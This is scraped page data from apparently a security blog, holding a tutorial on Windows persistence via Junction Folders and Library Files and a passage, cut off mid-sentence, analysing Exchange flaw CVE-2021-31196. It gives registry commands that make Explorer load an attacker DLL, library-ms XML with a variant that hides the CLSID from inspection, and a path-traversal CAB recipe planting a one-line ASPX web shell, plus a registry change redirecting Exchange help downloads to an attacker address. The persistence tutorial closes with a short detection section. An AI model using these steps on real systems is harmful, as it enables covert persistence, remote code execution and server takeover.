documents released by WikiLeaks involve the exploitation of Junction Folders and Library Files in Windows systems\u003C\u002Fp>\u003Cp>Links are as follows:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fwikileaks.org\u002Fciav7p1\u002Fcms\u002Fpage_13763381.html\u003C\u002Fp>\u003Cp>https:\u002F\u002Fwikileaks.org\u002Fciav7p1\u002Fcms\u002Fpage_13763373.html\u003C\u002Fp>\u003Cp>Jayden Zheng analyzed this, sharing a backdoor exploitation method for Library Files, and detailed how to detect malicious use of Junction Folders and Library Files\u003C\u002Fp>\u003Cp>Links are as follows:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fwww.countercept.com\u002Fblog\u002Fhunting-for-junction-folder-persistence\u002F\u003C\u002Fp>\u003Cp>https:\u002F\u002Fwww.countercept.com\u002Fblog\u002Fabusing-windows-library-files-for-persistence\u002F\u003C\u002Fp>\u003Cp>Based on the above references, this article will compare Junction Folders and Library Files, further exploit the backdoor method of Library Files (more covert), open-source a POC, and share insights on detection\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Methods of Utilizing Junction Folders\u003C\u002Fli>\u003Cli>Methods of Utilizing Library Files\u003C\u002Fli>\u003Cli>Further Exploitation of Library Files Backdoors\u003C\u002Fli>\u003Cli>Detection and Identification\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Methods of Utilizing Junction Folders\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Junction Folders can be simply understood as folders that can jump to another location\u003C\u002Fp>\u003Cp>Three common methods of creation:\u003C\u002Fp>\u003Cul>\u003Cli>Modifying registry entries\u003C\u002Fli>\u003Cli>Modifying desktop.ini within the folder\u003C\u002Fli>\u003Cli>Using special filenames, such as test.{ED7BA470-8E54-465E-825C-99712043E01C}\u003C\u002Fli>\u003C\u002Ful>\u003Cp>For the third method, specific CLSIDs correspond to specific file paths\u003C\u002Fp>\u003Cp>If we create a CLSID via the registry and specify a DLL path, that DLL will be loaded when opening the folder\u003C\u002Fp>\u003Ch3>1、Practical Testing\u003C\u002Fh3>\u003Cp>Test DLL executes calculator, reference download link:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch4>(1) Modify the registry and add a registry entry\u003C\u002Fh4>\u003Cp>The bat command is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>SET KEY=HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{11111111-1111-1111-1111-111111111111}\\InProcServer32\u003Cbr>REG.EXE ADD %KEY% \u002FVE \u002FT REG_SZ \u002FD \"c:\\test\\calc.dll\" \u002FF\u003Cbr>REG.EXE ADD %KEY% \u002FV ThreadingModel \u002FT REG_SZ \u002FD Apartment \u002FF\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(2) Create a new folder test.{11111111-1111-1111-1111-111111111111}\u003C\u002Fh4>\u003Ch4>(3) Select this folder to load calc.dll\u003C\u002Fh4>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>It will only load once; restarting the explorer.exe process can trigger it again\u003C\u002Fp>\u003Ch3>2. Implementation method for automatic system startup loading (user permissions)\u003C\u002Fh3>\u003Ch4>(1) Rename system folders\u003C\u002Fh4>\u003Cp>Rename %appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories to Accessories.{11111111-1111-1111-1111-111111111111}\u003C\u002Fp>\u003Ch4>(2) Create a new folder\u003C\u002Fh4>\u003Cp>Save the folder test.{11111111-1111-1111-1111-111111111111} in any of the following locations:\u003C\u002Fp>\u003Cul>\u003Cli>%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\\u003C\u002Fli>\u003Cli>Subdirectories of %appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x03 Exploitation Methods for Library Files\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>File extension is library-ms, located at %appdata%\\Microsoft\\Windows\\Libraries\u003C\u002Fp>\u003Cp>Official documentation:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows\u002Fclient-management\u002Fwindows-libraries\u003C\u002Fp>\u003Cp>Simple understanding of Library Files:\u003C\u002Fp>\u003Cp>Can display contents from multiple folders simultaneously\u003C\u002Fp>\u003Ch3>1. Practical testing:\u003C\u002Fh3>\u003Ch4>(1) Modify the registry, add registry entries\u003C\u002Fh4>\u003Cp>Batch command as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>SET KEY=HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{11111111-1111-1111-1111-111111111111}\\\u003Cbr>REG.EXE ADD %KEY%InProcServer32 \u002FVE \u002FT REG_SZ \u002FD \"c:\\test\\calc.dll\" \u002FF\u003Cbr>REG.EXE ADD %KEY%InProcServer32 \u002FV ThreadingModel \u002FT REG_SZ \u002FD Apartment \u002FF\u003Cbr>REG.EXE ADD %KEY%ShellFolder \u002FV Attributes \u002FT REG_DWORD \u002FD 4035969341 \u002FF\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Compared to Junction Folders, Library Files require an additional registry entry to be added.\u003C\u002Fp>\u003Ch4>(2) Modify %appdata%\\Microsoft\\Windows\\Libraries\\Documents.library-ms\u003C\u002Fh4>\u003Cp>Add the following content in XML format:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>    \u003Csearchconnectordescription publisher=\"Microsoft\" product=\"Windows\">\u003Cbr>      \u003Cdescription>@shell32.dll,-34577\u003C\u002Fdescription>\u003Cbr>      \u003Cisdefaultnonownersavelocation>true\u003C\u002Fisdefaultnonownersavelocation>\u003Cbr>      \u003Csimplelocation>\u003Cbr>        \u003Curl>shell:::{11111111-1111-1111-1111-111111111111}\u003C\u002Furl>\u003Cbr>      \u003C\u002Fsimplelocation>\u003Cbr>    \u003C\u002Fsearchconnectordescription>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(3) Access %appdata%\\Microsoft\\Windows\\Libraries\\Documents.library-ms\u003C\u002Fh4>\u003Cp>When opening the file, DLLs will be loaded multiple times; a mutex can be added here to prevent multiple launches. Download link (for demonstration purposes only):\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>Noteworthy points:\u003C\u002Fp>\u003Cp>Includes changed from 2 locations to 3 locations\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019761917_0_5b572722a2-1.jpeg\">\u003C\u002Fp>\u003Cp>By examining this location, the loaded CLSID can be discovered, as shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019774265_1_34930c52bb-1.jpeg\">\u003C\u002Fp>\u003Ch3>2. Implementation method for system auto-loading at startup (user permissions)\u003C\u002Fh3>\u003Cp>Place the modified Documents.library-ms in any of the following locations:\u003C\u002Fp>\u003Cul>\u003Cli>%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\\u003C\u002Fli>\u003Cli>Subdirectories of %appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Music.library-ms and Pictures.library-ms can also be modified, or even custom-created (with specified display icons)\u003C\u002Fp>\u003Ch2>0x04 Further exploitation of Library Files backdoor\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Regarding the exploitation method of Library Files backdoor, the most obvious characteristic is that the loaded CLSID can be discovered directly from Includes\u003C\u002Fp>\u003Cp>Here is a solution:\u003C\u002Fp>\u003Cp>Clear the path and set it to not display\u003C\u002Fp>\u003Cp>Successfully hide the loaded CLSID, the final effect is as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019786530_2_57b1955ec4-1.jpeg\">\u003C\u002Fp>\u003Ch3>1. Implementation method\u003C\u002Fh3>\u003Cp>According to the XML format, clear the original \u003Csearchconnectordescription> and add the following code:\u003C\u002Fsearchconnectordescription>\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>    \u003Csearchconnectordescription publisher=\"Microsoft\" product=\"Windows\">\u003Cbr>      \u003Cdescription>@shell32.dll,-34577\u003C\u002Fdescription>\u003Cbr>      \u003Cisdefaultnonownersavelocation>false\u003C\u002Fisdefaultnonownersavelocation>\u003Cbr>      \u003Cissearchonlyitem>true\u003C\u002Fissearchonlyitem>\u003Cbr>      \u003Csimplelocation>\u003Cbr>        \u003Curl>shell:::{11111111-1111-1111-1111-111111111111}\u003C\u002Furl>\u003Cbr>      \u003C\u002Fsimplelocation>\u003Cbr>    \u003C\u002Fsearchconnectordescription>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. POC implemented via PowerShell\u003C\u002Fh3>\u003Cp>After testing, it is not necessary to specify \u003Cownersid>; a fixed template can be used.\u003C\u002Fownersid>\u003C\u002Fp>\u003Cp>The process is as follows:\u003C\u002Fp>\u003Cul>\u003Cli>Modify the registry\u003C\u002Fli>\u003Cli>Release Documents.library-ms in the specified directory\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Points to note in script writing:\u003C\u002Fp>\u003Col>\u003Cli>The output encoding format must be specified as UTF-8; the default UTF-16 (unicode) will cause the library-ms file format to be incorrect.\u003C\u002Fli>\u003Cli>To pass the variable $clsid into the string, double quotes \" must be used for string definition instead of single quotes '\u003C\u002Fli>\u003C\u002Fol>\u003Cp>Complete code can be referenced from:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>The code implements adding registry entries and creating the file %appdata%\\Microsoft\\Windows\\Libraries\\Documents.library-ms, which loads c:\\test\\calc.dll when the user logs in.\u003C\u002Fp>\u003Ch2>0x05 Detection and Identification\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Regarding the exploitation methods for Junction Folders and Library Files, the special aspects are:\u003C\u002Fp>\u003Cul>\u003Cli>Ordinary user permissions are sufficient\u003C\u002Fli>\u003Cli>The file format is uncommon and highly deceptive\u003C\u002Fli>\u003C\u002Ful>\u003Cp>By combining exploitation methods, each step can be inspected:\u003C\u002Fp>\u003Col>\u003Cli>Check for suspicious DLLs\u003C\u002Fli>\u003C\u002Fol>\u003Cp>Payload must be in DLL format\u003C\u002Fp>\u003Col>\u003Cli>Check for suspicious DLLs under the registry CLSID\u003C\u002Fli>\u003C\u002Fol>\u003Cp>Monitor sensitive registry locations HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID and HKEY_CURRENT_USER\\Software\\Classes\\CLSID\u003C\u002Fp>\u003Col>\u003Cli>For Junction Folders, traverse folders to check if file extensions are associated with suspicious CLSIDs\u003C\u002Fli>\u003C\u002Fol>\u003Cp>For Library Files, traverse library-ms files to check if they are associated with suspicious CLSIDs\u003C\u002Fp>\u003Cp>This can be directly referenced from Jayden Zheng's script:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgist.github.com\u002Fcountercept\u002F6890be67e09ba3daed38fa7aa6298fdf\u003C\u002Fp>\u003Ch2>0x06 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article tested exploitation methods for Junction Folders and Library Files, further explored backdoor exploitation methods for Library Files to enhance stealth, open-sourced a POC, discussed considerations for script writing, and finally shared insights on detection\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",{"id":458,"alt":459,"caption":460,"updatedAt":461,"createdAt":461,"url":462,"thumbnailURL":26,"filename":463,"mimeType":237,"filesize":464,"width":465,"height":466,"focalX":38,"focalY":38,"sizes":467},1772,"docx image 1770019761917 0 5b572722a2","legacy:\u002Fuploads\u002Fdocx_image_1770019761917_0_5b572722a2.jpeg","2026-07-24T15:37:08.517Z","\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019761917_0_5b572722a2-1.jpeg","docx_image_1770019761917_0_5b572722a2-1.jpeg",6464,622,78,{"thumbnail":468,"card":469,"og":470},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},{"title":472,"description":448,"keywords":473,"ogImage":26,"canonicalUrl":26,"noIndex":50},"Windows Backdoor Exploitation: Junction Folders & Library Files","Windows backdoor, junction folders, library files, persistence, CIA Vault 7, registry exploitation, DLL loading, detection techniques",[],{"docs":476,"hasNextPage":50},[477,485,492,500],{"id":478,"question":479,"answer":480,"answerHtml":480,"slug":481,"keywords":482,"article":153,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":483,"createdAt":484,"_status":61},36,"What methods can defenders use to detect backdoor exploitation of Junction Folders and Library Files?","Defenders should monitor registry keys `HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID` and `HKEY_CURRENT_USER\\Software\\Classes\\CLSID` for suspicious DLL paths. For Junction Folders, check file extensions for unexpected CLSID associations (e.g., folder names ending with `.{CLSID}`). For Library Files, scan `.library-ms` files for XML elements referencing unfamiliar or suspicious CLSIDs. Automated scripts from researchers like Jayden Zheng (linked in the article) can help. Additionally, pay attention to user‑space persistence mechanisms since both techniques work with standard user privileges. For more on auditing access controls, refer to [Penetration Techniques - Access Control List in Windows](\u002Fnews\u002Fpenetration-techniques-access-control-list-in-windows).","what-methods-can-defenders-use-to-detect-backdoor-exploitation-of-junction-folde-1777485433978","detection, registry monitoring, CLSID, library-ms analysis, file association, persistence detection","2026-07-23T16:03:05.060Z","2026-07-23T16:03:05.059Z",{"id":486,"question":487,"answer":488,"answerHtml":488,"slug":489,"keywords":490,"article":153,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":491,"createdAt":491,"_status":61},35,"How can the Library Files backdoor be made more stealthy to avoid detection?","By default, the `Includes` section in the library-ms XML reveals the malicious CLSID. Attackers can clear the display path and set `isDefaultSaveLocation` to `false`, hiding the CLSID entirely. The manipulated library then appears normal while still loading the DLL when opened. This advanced technique is covered in the article under \"Further Exploitation of Library Files Backdoor\" and makes detection harder because the CLSID is not visibly listed in the library's properties or Explorer view.","how-can-the-library-files-backdoor-be-made-more-stealthy-to-avoid-detection-1777485433888","stealth, Library Files, CLSID, hiding, detection bypass, library-ms","2026-07-23T16:03:04.523Z",{"id":493,"question":494,"answer":495,"answerHtml":495,"slug":496,"keywords":497,"article":153,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":498,"createdAt":499,"_status":61},34,"What are Library Files (.library-ms) and how are they abused for backdoor persistence?","Library Files (`.library-ms`) are XML-based Windows files that aggregate content from multiple folders into a single view. Attackers modify them, e.g., `Documents.library-ms` at `%appdata%\\Microsoft\\Windows\\Libraries`, by adding an XML element referencing a CLSID that points to a malicious DLL in the registry. When a user accesses the library (e.g., from the Start Menu or Explorer), the DLL loads. This method is similar to Junction Folders but requires an extra registry key (`ShellFolder\\Attributes`). The article at [Penetration Techniques - Backdoor Exploitation of Junction Folders and Library Files](\u002Fnews\u002Fpenetration-techniques-backdoor-exploitation-of-junction-folders-and-library-files) explains the setup and how it can be triggered at startup.","what-are-library-files-library-ms-and-how-are-they-abused-for-backdoor-persisten-1777485433806","Library Files, library-ms, persistence, CLSID, registry, DLL loading","2026-07-23T16:03:04.091Z","2026-07-23T16:03:04.090Z",{"id":44,"question":501,"answer":502,"answerHtml":502,"slug":503,"keywords":504,"article":153,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":505,"createdAt":505,"_status":61},"How can an attacker use Windows Junction Folders to establish persistence on a system?","An attacker can create a Junction Folder with a special CLSID name (e.g., `test.{1111...}`) and add a registry entry under `HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{CLSID}\\InProcServer32` pointing to a malicious DLL. When the folder is opened (e.g., via Explorer), the DLL is loaded. For automatic startup at user logon, the folder can be placed in the Start Menu or its subdirectories. This technique, detailed in the [Penetration Techniques - Backdoor Exploitation of Junction Folders and Library Files](\u002Fnews\u002Fpenetration-techniques-backdoor-exploitation-of-junction-folders-and-library-files) article, requires only user privileges and leverages registry and folder manipulation.","how-can-an-attacker-use-windows-junction-folders-to-establish-persistence-on-a-s-1777485433723","Junction Folders, CLSID, registry, persistence, DLL loading","2026-07-23T16:03:03.755Z",{"title":26,"description":26,"image":26},"2026-07-24T15:37:15.864Z","2026-07-23T16:00:54.459Z",{"id":259,"title":510,"slug":511,"description":512,"content":513,"contentHtml":520,"contentMarkdown":26,"cover":521,"author":43,"views":14,"readingTime":6,"status":45,"publishedAt":535,"seo":536,"tags":539,"qaPairs":540,"meta":570,"updatedAt":571,"createdAt":572,"_status":61},"Pwn2Own 2021 Microsoft Exchange Server Vulnerability (CVE-2021-31196) Exploitation Analysis","pwn2own-2021-microsoft-exchange-server-vulnerability-cve-2021-31196-exploitation-analysis","Analysis of CVE-2021-31196, a logic flaw in Exchange Server allowing RCE via Update-ExchangeHelp command. Exploits MITM attacks for code execution.",{"root":514},{"type":12,"format":13,"indent":14,"version":15,"children":515,"direction":24},[516],{"type":18,"format":13,"indent":14,"version":15,"children":517,"direction":24},[518],{"mode":21,"text":519,"type":23,"style":13,"detail":14,"format":14,"version":15},"\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>CVE-2021-31196 is a logic vulnerability. Exploitation requires a man-in-the-middle attack and user interaction, ultimately enabling remote code execution.\u003C\u002Fp>\u003Cp>Technical article shared by the vulnerability discoverer:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fsrcincite.io\u002Fblog\u002F2021\u002F08\u002F25\u002Fpwn2own-vancouver-2021-microsoft-exchange-server-remote-code-execution.html\u003C\u002Fp>\u003Cp>This article solely documents personal research insights from a technical perspective.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Vulnerability Debugging\u003C\u002Fli>\u003Cli>Exploitation Approach\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Vulnerability Debugging\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Vulnerability Summary\u003C\u002Fh3>\u003Cp>In Exchange Server 2013 or later, when an administrative user runs the Update-ExchangeHelp or Update-ExchangeHelp -Force command in the Exchange Management Shell, an unauthenticated attacker in a privileged network position can trigger a remote code execution vulnerability.\u003C\u002Fp>\u003Cp>A privileged network position refers to a scenario where the attacker can hijack the domain http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244.\u003C\u002Fp>\u003Ch3>2. Vulnerability Code Location\u003C\u002Fh3>\u003Cp>According to the provided materials in the original text, open the file C:\\Program Files\\Microsoft\\Exchange Server\\V15\\Bin\\Microsoft.Exchange.Management.dll using dnSpy.\u003C\u002Fp>\u003Cp>Navigate sequentially to Microsoft.Exchange.Management.UpdatableHelp -&gt; HelpUpdater -&gt; UpdateHelp().\u003C\u002Fp>\u003Ch3>3. Vulnerability Logic\u003C\u002Fh3>\u003Ch4>(1) Execute the Update-ExchangeHelp or Update-ExchangeHelp -Force command using the Exchange Management Shell.\u003C\u002Fh4>\u003Cp>In Exchange Server 2013 or later, the Update-ExchangeHelp command is supported to check for the latest available version of help for the Exchange Management Shell on the local computer.\u003C\u002Fp>\u003Cp>The Update-ExchangeHelp command has a restriction period of 24 hours; if executed again within 24 hours, the -Force parameter must be added.\u003C\u002Fp>\u003Cp>After executing the command, the UpdateHelp() function is entered, initiating subsequent operations.\u003C\u002Fp>\u003Ch4>(2) Download the configuration file.\u003C\u002Fh4>\u003Cp>The code for downloading the configuration file in the UpdateHelp() function is shown in the following image.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019776092_0_14d0e024f0.jpeg\">\u003C\u002Fp>\u003Cp>The implementation code for DownloadManifest() is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>internal void DownloadManifest()\u003Cbr>{\u003Cbr>\tstring downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);\u003Cbr>\tif (!this.helpUpdater.Cmdlet.Abort)\u003Cbr>\t{\u003Cbr>\t\tthis.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));\u003Cbr>\t}\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);, the parameter this.helpUpdater.ManifestUrl is obtained through the function LoadConfiguration(). Part of the code for LoadConfiguration() is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey(\"SOFTWARE\\\\Microsoft\\\\ExchangeServer\\\\v15\\\\UpdateExchangeHelp\");\u003Cbr>if (registryKey3 == null)\u003Cbr>{\u003Cbr>\tregistryKey3 = Registry.LocalMachine.CreateSubKey(\"SOFTWARE\\\\Microsoft\\\\ExchangeServer\\\\v15\\\\UpdateExchangeHelp\");\u003Cbr>}\u003Cbr>if (registryKey3 != null)\u003Cbr>{\u003Cbr>\ttry\u003Cbr>\t{\u003Cbr>\t\tthis.ManifestUrl = registryKey3.GetValue(\"ManifestUrl\", \"http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244\").ToString();\u003Cbr>\t\tif (string.IsNullOrEmpty(this.ManifestUrl))\u003Cbr>\t\t{\u003Cbr>\t\t\tthrow new UpdatableExchangeHelpSystemException(UpdatableHelpStrings.UpdateRegkeyNotFoundErrorID, UpdatableHelpStrings.UpdateRegkeyNotFound(\"SOFTWARE\\\\Microsoft\\\\ExchangeServer\\\\v15\", \"\\\\UpdateExchangeHelp\", \"ManifestUrl\"), ErrorCategory.MetadataError, null, null);\u003Cbr>\t\t}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The logic here reads the registry key named ManifestUrl under HKLM\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp. If it exists, its value is assigned to ManifestUrl; if not, ManifestUrl defaults to http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244.\u003C\u002Fp>\u003Cp>This is also one of the prerequisites for exploiting this vulnerability, requiring the ability to hijack http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244.\u003C\u002Fp>\u003Cp>Alternatively, if control of the Exchange server is already obtained, modifying the registry to set ManifestUrl (type REG_SZ) to a remote XML address, such as http:\u002F\u002F192.168.1.3\u002Fpoc.xml, can serve as a persistence method.\u003C\u002Fp>\u003Cp>For this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));, the parameter this.helpUpdater.LocalManifestPath is the save path for the configuration file. By default, the path is C:\\Program Files\\Microsoft\\Exchange Server\\V15\\Bin\\UpdateHelp.$$$\\ExchangeHelpInfo.xml.\u003C\u002Fp>\u003Cp>Example format of the XML configuration file:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cexchangehelpinfo>\u003Cbr>  \u003Chelpversions>\u003Cbr>    \u003Chelpversion>\u003Cbr>      \u003Cversion>15.1.2176.2\u003C\u002Fversion>\u003Cbr>      \u003Crevision>1\u003C\u002Frevision>\u003Cbr>      \u003Cculturesupdated>en\u003C\u002Fculturesupdated>\u003Cbr>      \u003Ccabineturl>http:\u002F\u002F192.168.1.3\u002Fpoc.cab\u003C\u002Fcabineturl>\u003Cbr>    \u003C\u002Fhelpversion>\u003Cbr>  \u003C\u002Fhelpversions>\u003Cbr>\u003C\u002Fexchangehelpinfo>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The parameter Version represents the Exchange version number, which can be obtained by checking the registry in a debugging environment:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>REG QUERY \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\ClientAccessRole\" \u002Fv ConfiguredVersion\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The parameter Revision is the revision number. Note the value range here. After a normal Update-ExchangeHelp operation, a new registry entry CurrentHelpRevision will be created under HKLM\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp, of type REG_DWORD, with a value corresponding to the Revision number. In the next Update-ExchangeHelp operation, the Revision value in the XML configuration file must be greater than the value of the registry entry CurrentHelpRevision.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>If the registry entry CurrentHelpRevision is manually deleted after a normal Update-ExchangeHelp operation, set Revision to 1 in the next Update-ExchangeHelp operation.\u003C\u002Fp>\u003Cp>The parameter CabinetUrl is the download address of the CAB file.\u003C\u002Fp>\u003Ch4>(3) Download and extract the CAB file\u003C\u002Fh4>\u003Cp>The code for downloading and extracting the CAB file in the UpdateHelp() function is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019787273_1_b0b0c6193c.jpeg\">\u003C\u002Fp>\u003Cp>The implementation code for ExtractToTemp() is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>internal int ExtractToTemp()\u003Cbr>{\u003Cbr>\tthis.filesAffected = 0;\u003Cbr>\tthis.helpUpdater.EnsureDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);\u003Cbr>\tthis.helpUpdater.CleanDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);\u003Cbr>\tbool embedded = false;\u003Cbr>\tstring filter = \"\";\u003Cbr>\tint result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);\u003Cbr>\tthis.cabinetFiles = new Dictionary\u003Cstring, list\u003Cstring=\"\">&gt;();\u003Cbr>\tthis.helpUpdater.RecursiveDescent(0, this.helpUpdater.LocalCabinetExtractionTargetPath, string.Empty, this.affectedCultures, false, this.cabinetFiles);\u003Cbr>\tthis.filesAffected = result;\u003Cbr>\treturn result;\u003Cbr>}\u003C\u002Fstring,>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For the statement int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);, used to extract the contents of CAB files\u003C\u002Fp>\u003Cp>ExtractCabFiles does not validate file paths before extraction, which is the vulnerability of CVE-2021-31196. If ..\u002F is passed in, directory traversal can occur, ultimately leading to arbitrary file write\u003C\u002Fp>\u003Cp>Regarding the creation of CAB files, refer to the method in the original text:\u003C\u002Fp>\u003Cp>The content of files.txt is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\"poc.aspx\" \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Finetpub\u002Fwwwroot\u002Faspnet_client\u002Fpoc.aspx\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The content of poc.aspx is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>&lt;%=System.Diagnostics.Process.Start(\"cmd\", Request[\"c\"])%&gt;\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Execute the command in the command line:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>makecab \u002Fd \"CabinetName1=poc.cab\" \u002Ff files.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Generate the final 